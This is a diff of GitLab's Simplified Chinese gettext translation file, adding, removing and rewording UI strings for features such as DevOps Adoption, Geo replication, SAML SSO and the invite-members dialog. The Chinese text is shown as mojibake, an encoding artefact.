@@ -10081,9 +10389,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "用户å"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr "您将è¦æ’¤é”€%{b_start}%{name}%{b_end}。"
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10196,9 +10501,6 @@ msgstr "æè¿°:"
msgid "Descriptive label"
msgstr "æ述性标签"
-msgid "Deselect all"
-msgstr "å–消所有"
-
msgid "Design Management files and data"
msgstr "设计管ç†æ–‡ä»¶å’Œæ•°æ®"
@@ -10358,13 +10660,13 @@ msgstr "详细信æ¯(默认)"
msgid "Detect host keys"
msgstr "检测主机密钥"
+msgid "DevOps Adoption"
+msgstr ""
+
msgid "DevOps Report"
msgstr "DevOps报告"
-msgid "DevopsAdoption|%{selectedCount} group selected"
-msgstr ""
-
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10379,7 +10681,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10632,6 +10934,9 @@ msgstr "关闭åˆå¹¶è¯·æ±‚推广"
msgid "Dismiss Value Stream Analytics introduction box"
msgstr "ä¸å†æ˜¾ç¤ºä»·å€¼æµåˆ†æžä»‹ç»æ¡†"
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr "å–消选择"
@@ -10875,6 +11180,9 @@ msgstr "编辑应用"
msgid "Edit comment"
msgstr "编辑评论"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr "编辑æè¿°ä¿¡æ¯"
@@ -10887,6 +11195,9 @@ msgstr "在编辑器中编辑文件并在这里​​æ交å˜æ›´å†…容"
msgid "Edit fork in Web IDE"
msgstr "在Web IDE中编辑派生"
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "编辑群组:%{group_name}"
@@ -11106,6 +11417,9 @@ msgstr "å¯ç”¨%{linkStart}Gitpod%{linkEnd}集æˆï¼Œå¯ç›´æŽ¥åœ¨æµè§ˆå™¨ä»ŽGitLa
msgid "Enable Auto DevOps"
msgstr "å¯ç”¨Auto DevOps"
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr "å¯ç”¨Gitpod"
@@ -11130,6 +11444,9 @@ msgstr "å¯ç”¨PlantUML"
msgid "Enable Pseudonymizer data collection"
msgstr "å¯ç”¨åŒ¿å化的数æ®æ”¶é›†"
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11142,6 +11459,9 @@ msgstr "通过外部API端点å¯ç”¨åžƒåœ¾ä¿¡æ¯æ£€æŸ¥"
msgid "Enable access to Grafana"
msgstr "å…许访问Grafana"
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr "为特定群组å¯ç”¨æ€§èƒ½æ çš„访问æƒé™ã€‚"
@@ -11154,6 +11474,9 @@ msgstr "å¯ç”¨å¹¶é…ç½®Prometheus指标。"
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr "使用外部æœåŠ¡å¯ç”¨åˆ†ç±»æŽ§åˆ¶"
@@ -11265,6 +11588,9 @@ msgstr "å·²å¯ç”¨"
msgid "Enabled Git access protocols"
msgstr "å¯ç”¨ Git 访问åè®®"
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr "è¦åœ¨é¡¹ç›®åˆ›å»ºæœŸé—´å¯ç”¨ä»£ç å¯¼å…¥æºã€‚必须为 GitHub é…ç½® OmniAuth"
@@ -11334,9 +11660,6 @@ msgstr "在下é¢è¾“入您的Phabricator Server URL和个人访问令牌"
msgid "Enter merge request URLs"
msgstr "输入åˆå¹¶è¯·æ±‚网å€"
-msgid "Enter new %{field_title}"
-msgstr "输入新的%{field_title}"
-
msgid "Enter new AWS Secret Access Key"
msgstr "输入新的AWS Secret Access密钥"
@@ -11964,20 +12287,20 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr "å¯ç”¨"
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
-msgstr "添加验è¯ä»¤ç‰ŒåŽï¼Œä½¿ç”¨â€œè¿žæŽ¥â€æŒ‰é’®åŠ è½½é¡¹ç›®"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
+msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr "验è¯ä»¤ç‰Œ"
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
-msgstr "å•å‡»â€œè¿žæŽ¥â€ä»¥é‡æ–°å»ºç«‹ä¸ŽSentry的连接并激活下拉列表。"
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
+msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
-msgstr "连接失败。请å†æ¬¡æ£€æŸ¥éªŒè¯ä»¤ç‰Œï¼Œç„¶åŽé‡è¯•ã€‚"
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
+msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
-msgstr "如果您自行管ç†Sentry,请输入Sentry实例的完整网å€ã€‚如果您使用的是Sentry的托管解决方案,请输入https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
+msgstr ""
msgid "ErrorTracking|No projects available"
msgstr "æ— å¯ç”¨çš„项目"
@@ -11985,8 +12308,8 @@ msgstr "æ— å¯ç”¨çš„项目"
msgid "ErrorTracking|Select project"
msgstr "选择项目"
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
-msgstr "è¦å¯ç”¨é€‰æ‹©çš„项目,请输入有效的验è¯ä»¤ç‰Œ"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
+msgstr ""
msgid "Errors"
msgstr "错误"
@@ -12096,9 +12419,6 @@ msgstr ""
msgid "Evidence collection"
msgstr "凭è¯é›†"
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr "其中的一个%{attributes}是必需的"
@@ -12165,6 +12485,9 @@ msgstr ""
msgid "Expand milestones"
msgstr "展开里程碑"
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr "展开侧边æ "
@@ -12234,6 +12557,9 @@ msgstr "æµè§ˆå…¬å¼€ç¾¤ç»„"
msgid "Export"
msgstr "导出"
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12246,12 +12572,6 @@ msgstr "导出æ交监管报告"
msgid "Export group"
msgstr "导出群组"
-msgid "Export issues"
-msgstr "导出议题"
-
-msgid "Export merge requests"
-msgstr "导出åˆå¹¶è¯·æ±‚"
-
msgid "Export project"
msgstr "导出项目"
@@ -12279,9 +12599,6 @@ msgstr "外部ID"
msgid "External URL"
msgstr "外部URL"
-msgid "External Wiki"
-msgstr "外部Wiki"
-
msgid "External authentication"
msgstr "外部身份验è¯"
@@ -12303,14 +12620,17 @@ msgstr "分类标签"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "未设置分类标签的时候,将使用默认的分类标签`%{default_label}`。"
-msgid "ExternalWikiService|External Wiki"
-msgstr "外部 Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
+msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr "使用指å‘外部 Wiki 的链接替æ¢å†…部 Wiki 的链接。"
-msgid "ExternalWikiService|The URL of the external Wiki"
-msgstr "外部Wiki的URL"
+msgid "ExternalWikiService|The URL of the external wiki"
+msgstr ""
msgid "Facebook"
msgstr "Facebook"
@@ -12408,6 +12728,9 @@ msgstr "获å–ref失败。"
msgid "Failed to install."
msgstr "安装失败。"
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr "加载指派人失败。请é‡è¯•ã€‚"
@@ -12435,9 +12758,15 @@ msgstr "加载群组活动度é‡æŒ‡æ ‡å¤±è´¥ã€‚请é‡è¯•ã€‚"
msgid "Failed to load groups, users and deploy keys."
msgstr "无法加载群组,用户和部署密钥。"
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr "加载标记失败。请é‡è¯•ã€‚"
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr "加载里程碑失败。请é‡è¯•ã€‚"
@@ -12486,9 +12815,6 @@ msgstr "无法删除Zoom会议"
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr "无法从看æ¿ç§»é™¤è®®é¢˜ï¼Œè¯·é‡è¯•ã€‚"
-
msgid "Failed to remove mirror."
msgstr "删除镜åƒå¤±è´¥ã€‚"
@@ -12543,9 +12869,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr "更新议题状æ€å¤±è´¥"
-msgid "Failed to update issues, please try again."
-msgstr "更新议题失败, 请é‡è¯•"
-
msgid "Failed to update the Canary Ingress."
msgstr "无法更新Canary Ingress。"
@@ -12928,11 +13251,11 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr "筛选器%{issuable_type}当å‰å…³é—­ã€‚"
-msgid "Filter by %{issuable_type} that are currently opened."
-msgstr "筛选器%{issuable_type}当å‰å¼€å¯ã€‚"
+msgid "Filter by %{issuable_type} that are currently open."
+msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
-msgstr "按当å‰å¼€æ”¾çš„%{page_context_word}筛选。"
+msgid "Filter by %{page_context_word} that are currently open."
+msgstr ""
msgid "Filter by Git revision"
msgstr "按Git版本筛选"
@@ -12964,8 +13287,8 @@ msgstr "按状æ€ç­›é€‰"
msgid "Filter by test cases that are currently archived."
msgstr "按当å‰å·²å½’档的测试用例筛选。"
-msgid "Filter by test cases that are currently opened."
-msgstr "按当å‰å¼€å¯ä¸­çš„测试用例筛选。"
+msgid "Filter by test cases that are currently open."
+msgstr ""
msgid "Filter by two-factor authentication"
msgstr "按åŒé‡è®¤è¯ç­›é€‰"
@@ -13066,6 +13389,9 @@ msgstr "Flowdockçš„Gitæºä»¤ç‰Œ"
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr "Flowdock是一个é¢å‘技术团队å作的Web应用程åºã€‚"
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr "FogBugz电å­é‚®ä»¶"
@@ -13114,12 +13440,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
-msgstr "如需帮助为您的实例设置æœåŠ¡å°ï¼Œè¯·è”系管ç†å‘˜ã€‚"
+msgid "For general work"
+msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr "有关详细信æ¯ï¼Œè¯·é˜…读文档。"
@@ -13129,9 +13458,6 @@ msgstr "有关如何计算活跃用户数的更多信æ¯ï¼Œè¯·å‚è§æ–‡æ¡£ %{sel
msgid "For more information, go to the "
msgstr "如需了解详细信æ¯ï¼Œè¯·å‚阅"
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr "更多信æ¯è¯·æŸ¥é˜… %{link_start_tag}Jaeger çš„é…置文档%{link_end_tag}"
-
msgid "For more information, see the File Hooks documentation."
msgstr "欲了解更多信æ¯ï¼Œè¯·å‚阅文件钩å­æ–‡æ¡£ã€‚"
@@ -13156,6 +13482,9 @@ msgstr "派生项目"
msgid "Fork project?"
msgstr "派生项目?"
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13165,6 +13494,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13180,6 +13512,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13198,9 +13533,6 @@ msgstr "派生自"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr "从无法访问的项目派生"
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr "仓库的派生å…许您在ä¸å½±å“原始项目的情况下进行更改。"
-
msgid "Forking in progress"
msgstr "派生(Fork)中"
@@ -13462,6 +13794,9 @@ msgstr "%{name} 已计划é‡æ–°åŒæ­¥"
msgid "Geo|%{name} is scheduled for re-verify"
msgstr "%{name}已计划é‡æ–°éªŒè¯"
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13504,9 +13839,15 @@ msgstr "无法删除现有项目的跟踪æ¡ç›®ã€‚"
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr "无法删除现有上传的跟踪æ¡ç›®ã€‚"
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "失败"
@@ -13531,6 +13872,15 @@ msgstr "进行中"
msgid "Geo|In sync"
msgstr "å·²åŒæ­¥"
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr "上次仓库的è¿è¡Œæ£€æŸ¥"
@@ -13564,6 +13914,12 @@ msgstr "节点å称应该介于1到255个字符之间"
msgid "Geo|Not synced yet"
msgstr "尚未åŒæ­¥"
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr "å¾…åŒæ­¥"
@@ -13591,6 +13947,9 @@ msgstr "指定群组中的项目"
msgid "Geo|Projects in certain storage shards"
msgstr "特定存储片中的项目"
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "é‡æ–°ä¸‹è½½"
@@ -13603,6 +13962,30 @@ msgstr "移除æ¡ç›®"
msgid "Geo|Remove tracking database entry"
msgstr "移除跟踪数æ®åº“æ¡ç›®"
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr "é‡æ–°åŒæ­¥"
@@ -13630,6 +14013,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "状æ€"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "åŒæ­¥"
@@ -13642,6 +14028,9 @@ msgstr "åŒæ­¥å¤±è´¥ - %{error}"
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr "%{itemTitle}çš„åŒæ­¥å·²ç¦ç”¨ã€‚"
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr "æ•°æ®åº“当å‰è½åŽäºŽä¸»èŠ‚点%{db_lag}。"
@@ -13675,6 +14064,9 @@ msgstr "未知状æ€"
msgid "Geo|Verification failed - %{error}"
msgstr "验è¯å¤±è´¥ - %{error}"
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr "等待调度"
@@ -13720,6 +14112,9 @@ msgstr "开始使用å‘布"
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr "æ­¤ GitLab æœåŠ¡å™¨ä¸Šæœªå¯ç”¨ Git LFS,请è”系管ç†å‘˜ã€‚"
@@ -13849,6 +14244,12 @@ msgstr "GitLab用户å"
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr "GitLabå¯ä½¿ç”¨ %{jaeger_link}æ¥ç›‘控分布å¼ç³»ç»Ÿã€‚"
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr "GitLabå°†è¿è¡ŒåŽå°ä»»åŠ¡ï¼Œç”Ÿæˆæ•°æ®åº“的匿å化CSV,并上传到预先设定的对象存储目录。"
@@ -13972,6 +14373,24 @@ msgstr "Gitea 主机地å€"
msgid "Gitea Import"
msgstr "从Gitea导入"
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr "GitLab Pages"
@@ -14014,9 +14433,6 @@ msgstr "返回"
msgid "Go back (while searching for files)"
msgstr "åŽé€€(在æœç´¢æ–‡ä»¶æ—¶)"
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr "返回%{tagStart}å¼€å¯çš„议题%{tagEnd}并选择è¦æ·»åŠ åˆ°çœ‹æ¿çš„议题。"
-
msgid "Go full screen"
msgstr "å…¨å±æ¨¡å¼"
@@ -14146,17 +14562,14 @@ msgstr "Grafana网å€"
msgid "Grafana response contains invalid json"
msgstr "Grafanaå“应包å«æ— æ•ˆçš„json"
-msgid "GrafanaIntegration|API Token"
-msgstr "API令牌"
+msgid "GrafanaIntegration|API token"
+msgstr ""
msgid "GrafanaIntegration|Active"
msgstr "å¯ç”¨"
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr "在GitLab议题中嵌入Grafana 图表。"
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
-msgstr "输入Grafana API令牌。"
+msgid "GrafanaIntegration|Enter the Grafana API token."
+msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
msgstr "输入Grafana实例的基础URL。"
@@ -14167,6 +14580,9 @@ msgstr "Grafana URL"
msgid "GrafanaIntegration|Grafana authentication"
msgstr "Grafana身份验è¯"
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr "å…许访问"
@@ -14224,6 +14640,12 @@ msgstr "群组URL"
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "群组头åƒ"
@@ -14305,9 +14727,6 @@ msgstr "群组æµæ°´çº¿åˆ†é’Ÿæ•°å·²æˆåŠŸé‡ç½®ã€‚"
msgid "Group project URLs are prefixed with the group namespace"
msgstr "群组项目的URL以群组命å空间为å‰ç¼€"
-msgid "Group push rule exists, try updating"
-msgstr "群组推é€è§„则已存在,请å°è¯•æ›´æ–°"
-
msgid "Group requires separate account"
msgstr "群组需è¦å•ç‹¬è´¦æˆ·"
@@ -14410,9 +14829,15 @@ msgstr "å¯ç”¨çš„SAML群组链接(%{count})"
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr "您确定è¦åˆ é™¤SAML群组链接å—?"
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr "è¯ä¹¦æŒ‡çº¹"
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr "é…ç½®"
@@ -14428,8 +14853,11 @@ msgstr "默认æˆå‘˜è§’色"
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr "为此群组å¯ç”¨SAML身份验è¯ã€‚"
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
-msgstr "为此群组强制执行仅SSO身份验è¯ã€‚"
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
+msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
msgstr "强制用户为该群组设置专用的由群组托管å¸æˆ·ã€‚"
@@ -14524,9 +14952,6 @@ msgstr "将由 SAML 身份æ供商å‘é€çš„群组å称,区分大å°å†™ã€‚"
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr "这将被设置为添加到群组的用户的访问级别。"
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr "为了能够å¯ç”¨å¼ºåˆ¶SSO,首先需è¦å¯ç”¨SAML身份验è¯ã€‚"
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr "为了能够å¯ç”¨ç¾¤ç»„托管å¸æˆ·ï¼Œé¦–先需è¦å¯ç”¨å¼ºåˆ¶SSO。"
@@ -14722,9 +15147,6 @@ msgstr "也å¯ä»¥é€šè¿‡åˆ›å»º %{subgroup_docs_link_start}å­ç¾¤ç»„æ¥åµŒå¥—群ç»
msgid "Groups to synchronize"
msgstr "需åŒæ­¥çš„群组"
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr "有æƒè®¿é—®%{strong_open}%{project_name}%{strong_close}的群组"
-
msgid "GroupsDropdown|Frequently visited"
msgstr "ç»å¸¸è®¿é—®çš„群组"
@@ -14860,9 +15282,6 @@ msgstr "哈希仓库存储路径"
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr "新项目ä¸èƒ½å†ç¦ç”¨å“ˆå¸Œå­˜å‚¨"
-msgid "Have your users email"
-msgstr "请让用户å‘é€ç”µå­é‚®ä»¶è‡³"
-
msgid "Header logo was successfully removed."
msgstr "标题徽标已æˆåŠŸåˆ é™¤ã€‚"
@@ -15039,6 +15458,9 @@ msgstr "管家,导出,路径,转移,删除,存档。"
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15207,6 +15629,12 @@ msgstr "å¦‚æžœæ‚¨æœ€è¿‘æ²¡æœ‰ç™»å½•ï¼Œè¯·ç«‹å³ %{password_link_start}更改密ç
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr "如果您最近没有登录,请立å³æ›´æ”¹å¯†ç : %{password_link}。"
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr "如果您丢失了æ¢å¤ç ï¼Œæ‚¨å¯ä»¥ç”Ÿæˆæ–°çš„æ¢å¤ç ï¼Œæ‰€æœ‰ä»¥å‰çš„æ¢å¤ç å°†å¤±æ•ˆã€‚"
@@ -15365,9 +15793,6 @@ msgstr "导入超时。耗时已超过 %{import_jobs_expiration} 秒"
msgid "Import/Export Rate Limits"
msgstr "导入/导出速率é™åˆ¶"
-msgid "Import/Export illustration"
-msgstr "导入/导出æ’图"
-
msgid "ImportButtons|Connect repositories from"
msgstr "用以下方å¼è¿žæŽ¥å‚¨å­˜åº“"
@@ -15414,12 +15839,15 @@ msgid "Importing %d repository"
msgid_plural "Importing %d repositories"
msgstr[0] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
-msgstr "使用GitLab Enterprise Edition以获得增强的åˆå¹¶è¯·æ±‚功能和官方客户支æŒã€‚"
+msgid "Importing..."
+msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr "使用GitLabä¼ä¸šç‰ˆå…¨å±€æœç´¢å¸¦æ¥çš„增强æœç´¢åŠŸèƒ½"
@@ -15429,9 +15857,6 @@ msgstr "%{time_to_now}åŽ"
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr "为了为您的实例å¯ç”¨æœåŠ¡å°ï¼Œæ‚¨å¿…须首先设置接收电å­é‚®ä»¶ã€‚"
-
msgid "In progress"
msgstr "进行中"
@@ -16017,6 +16442,9 @@ msgstr "通知用户没有上传SSH密钥,如果没有SSH秘钥,将无法通
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr "其他Pages模æ¿çš„ä¿¡æ¯åŠå®‰è£…指å—å¯ä»¥åœ¨%{pages_getting_started_guide}中找到."
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr "已继承"
@@ -16186,6 +16614,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16231,9 +16662,6 @@ msgstr "标准"
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr "此集æˆå’Œç»§æ‰¿é¡¹ç›®å·²è¢«é‡ç½®ã€‚"
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr "为了ä¿æŒè¿™ä¸ªé¡¹ç›®çš„推进,请创建一个新的议题."
@@ -16258,6 +16686,9 @@ msgstr "您现在å¯ä»¥å…³é—­æ­¤çª—å£å¹¶è¿”回GitLab for Jira应用。"
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr "交互模å¼"
@@ -16294,9 +16725,6 @@ msgstr "了解您的DevOps报告"
msgid "Invalid Insights config file detected"
msgstr "检测到无效的 Insights é…置文件"
-msgid "Invalid Login or password"
-msgstr "登录å或密ç æ— æ•ˆ"
-
msgid "Invalid OS"
msgstr "无效的æ“作系统"
@@ -16492,8 +16920,8 @@ msgstr "选择角色æƒé™"
msgid "InviteMembersModal|Close invite team members"
msgstr "关闭邀请团队æˆå‘˜"
-msgid "InviteMembersModal|GitLab member or Email address"
-msgstr "GitLab用户或电å­é‚®ä»¶åœ°å€"
+msgid "InviteMembersModal|GitLab member or email address"
+msgstr ""
msgid "InviteMembersModal|Invite"
msgstr "邀请"
@@ -16501,8 +16929,8 @@ msgstr "邀请"
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
-msgstr "邀请团队æˆå‘˜"
+msgid "InviteMembersModal|Invite members"
+msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr "æˆå‘˜å·²æˆåŠŸæ·»åŠ "
@@ -16510,25 +16938,25 @@ msgstr "æˆå‘˜å·²æˆåŠŸæ·»åŠ "
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
-msgstr "æœç´¢æ¬²é‚€è¯·çš„æˆå‘˜"
-
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select members or type email addresses"
+msgstr ""
+
msgid "InviteMembersModal|Some of the members could not be added"
msgstr "部分æˆå‘˜æ— æ³•æ·»åŠ "
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
